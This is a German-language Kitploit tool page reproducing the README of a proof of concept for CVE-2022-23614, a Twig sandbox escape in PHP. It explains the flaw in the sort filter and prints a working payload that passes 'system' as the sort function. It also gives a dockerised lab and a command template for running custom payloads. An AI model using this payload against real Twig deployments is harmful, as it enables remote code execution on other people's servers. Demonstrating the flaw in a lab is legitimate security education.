Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-23614 — Proof of Concept für CVE-2022-23614 (Befehlsinjektion in Twig) | Kitploit
Tools/GitHubGitHub/4rtamis/cve-2022-23614
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationLernen & BildungLabs & Praxis
GitHub4rtamis/cve-2022-23614

CVE-2022-23614

Proof of Concept für CVE-2022-23614 (Befehlsinjektion in Twig)

Repository anzeigen
1vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-23614

Machbarkeitsnachweis (PoC) für CVE-2022-23614, referenziert im DSA-5107-1.

  • CVSS-2.0: 7.5
  • CVSS-3.X: 9.8

Erklärung

Twig ist eine flexible, schnelle und sichere Template-Engine für PHP. Insbesondere ist es möglich, Filter in einem Template vor dessen Rendering zu verwenden. Der sort-Filter kann verwendet werden, um die Elemente eines Arrays mit der folgenden Struktur zu sortieren:

root@kitploit:~
{{ [5,8,2,3]|sort('desc') }}

Twig verfügt über einen Sandbox-Modus, um nicht vertrauenswürdigen Template-Code auszuwerten. Im Sandbox-Modus muss der arrow-Parameter des sort-Filters eine Closure sein, um zu verhindern, dass Angreifer beliebige PHP-Funktionen ausführen können. In betroffenen Versionen wurde diese Einschränkung nicht ordnungsgemäß durchgesetzt, was zu einer Code-Injection von beliebigem PHP-Code führen konnte.

root@kitploit:~
{{ ["id",""]|sort('system') }}

Verwendung

Dieses PoC veranschaulicht die Schwachstelle in zwei verschiedenen Anwendungsfällen: entweder unter Verwendung des Debian-Pakets php-twig (v2.14.1) oder des Composer-Moduls twig/twig (v2.14).

Die Datei index.php erstellt ein Twig-Template basierend auf dem ersten Argument. Im folgenden Code ist argv[1] der Name der Sortierfunktion, die von Twig beim Rendern verwendet wird.

root@kitploit:~
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";

Anschließend verwendet index.php zwei veraltete Funktionen von Twig, um das generierte Template zu laden. Schließlich verwendet es das zweite Argument (argv[2]), um Daten an das Template während des Renderns zu übergeben, insbesondere das args-Array, das wir sortieren möchten.

root@kitploit:~
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);

Das gerenderte Template wird dann in der Standardausgabe ausgegeben.

Bitte beachten Sie, dass dieses Repository nur zu Demonstrationszwecken erstellt wurde. Es soll einfach zu verstehen und benutzerfreundlich sein, um mit dem CVE nur über eine Befehlszeilenschnittstelle zu spielen. Es ist weit entfernt von dem, was man auf einem tatsächlich verwundbaren Server finden kann.

php-twig

Mit Docker können wir den Kontext des ursprünglichen Debian Security Advisory (DSA) nachbilden. Sie können das mitgelieferte Skript build-docker.sh verwenden, um den verwundbaren Container ordnungsgemäß zu erstellen und auszuführen.

root@kitploit:~
chmod a+x build-docker.sh
./build-docker.sh

Der Container sollte heruntergefahren werden, sobald die Payload ausgeführt wird (ein id-Befehl). Wenn Sie Ihre eigenen Befehle ausprobieren möchten, können Sie den Container im interaktiven Modus ausführen:

root@kitploit:~
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash

Sobald Sie im Container sind, können Sie Ihre eigene Payload mit dem folgenden Modell erstellen:

root@kitploit:~
php index.php system '{"args":["id",""]}'
                ^                 ^
          sorting function   array to sort

Dieses Dockerfile wurde teilweise mit DECRET erstellt.

Composer

Wenn Sie PHP und Composer bereits auf Ihrem Rechner installiert haben, können Sie den Exploit mit dem verwundbaren Composer-Modul nachstellen.

root@kitploit:~
cd exploit
composer install

Dann müssen Sie nur noch mit der Payload spielen.

root@kitploit:~
php index.php system '{"args":["id",""]}'

Referenzen

CVE-Details: https://nvd.nist.gov/vuln/detail/CVE-2022-23614

DSA: https://www.debian.org/security/2022/dsa-5107

Patch-Commit: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9

PoC von davwwwx (mit GUI): https://github.com/davwwwx/CVE-2022-23614

Tool herunterladen